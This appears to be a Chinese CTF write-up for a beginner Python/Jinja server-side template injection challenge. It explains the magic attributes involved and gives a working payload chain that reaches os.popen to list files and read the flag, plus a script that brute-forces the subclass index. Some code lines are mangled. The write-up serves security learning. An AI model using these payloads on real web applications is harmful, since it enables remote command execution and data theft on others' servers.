ssti模板注入(入门级)Web_python_template_injection

Web_python_template_injection(攻防世界进阶)

打开界面判断一下是否是ssti注入?

输入{{7*7}}执行成功得到49,说明存在ssti模板注入

__class__  返回类型所属的对象
__mro__    返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
__base__   返回该对象所继承的基类
// __base__和__mro__都是用来寻找基类的

__subclasses__   每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
__init__  类的初始化方法
__globals__  对包含函数全局变量的字典的引用

先简单的给出ssti的魔术方法,这让我直接想到了反序列化的魔术方法,加油!

每道题的目的和方式简要概括都是,找到父类<type 'object'>-->寻找子类-->找关于命令执行或者文件操作的模块。

__subclasses__()  #获取类的所有子类

__init__                 #所有自带带类都包含init方法,便于利用他当跳板来调用globals.

__globals__ 

function.__globals__          #用去获取function所处空间下可使用的module、方法以及所有变量。

方法是这个方法,难得是调用链

以这道题来举个例

''.__class__#返回str类

''.__class__.__base__ #返回str类的父类

''.__class__.__base__.__subclasses__()  #返回str父类basestring的儿子们

当然我们要先找到object类

''.__class__.__mro__#mro是调用链,把类的继承关系想成一棵树,这个方法表示从当前节点到根节点的路径

''.__class__.__mro__[2] #调用object类

''.__class__.__mro__[2].__subclasses__() #返回object的儿子们

需要手动改查找可能调用os模块的类,可以是error,或者print之类的

我这里用print,<class 'site._Printer'>。这里可以写个脚本,来确定<class 'site._Printer'>的下标,输出下标为71

​
import requests 

import re

s=requests.session()

for i in range(100):

 url="http://111.200.241.244:59493/{{''.__class__.__mro__[2].__subclasses__()[''+str(i)+'']}}''

response=s.get(url=url)

if re.findall("site._Printer",response.text):

   print(i)

   break


​

然后''__.class__.__mro__[2].__subclasses__()[71].__init__.__globals__   #可以查看site.Printer类引用的所有类和模板

''__.class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'] #调用os模块,然后就可以调用函数

''__.class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read() #结果显示fl4g文件就在当前目录

''__.class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('cat fl4g').read()

得到flag

理论部分完成,让我们开始实践,''.__class__  中的'' 是两个单引号 ' ' ,不然就会报错

 

 查找str的父类

 返回str父类basestring的儿子们

 然后看看看一下继承关系

 调用object类,因为从0开始,str是0,basestring是1,所以object是2

 返回object的儿子们

 其实在这里,你可以数printer下标是第几个,或者用脚本查一下,脚本在上面给出

既然已经知道了下标是71可以直接运用,#可以查看site.Printer类引用的所有类和模板

 #调用os模块,然后就可以调用函数

 结果显示fl4g文件就在当前目录,这个操作是读取一下当前目录

看见了fl4g,经验之谈flag就在这里面,直接cat fl4g 

 讲的应该还算详细,下次遇到了会更详细的!

  • 2
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值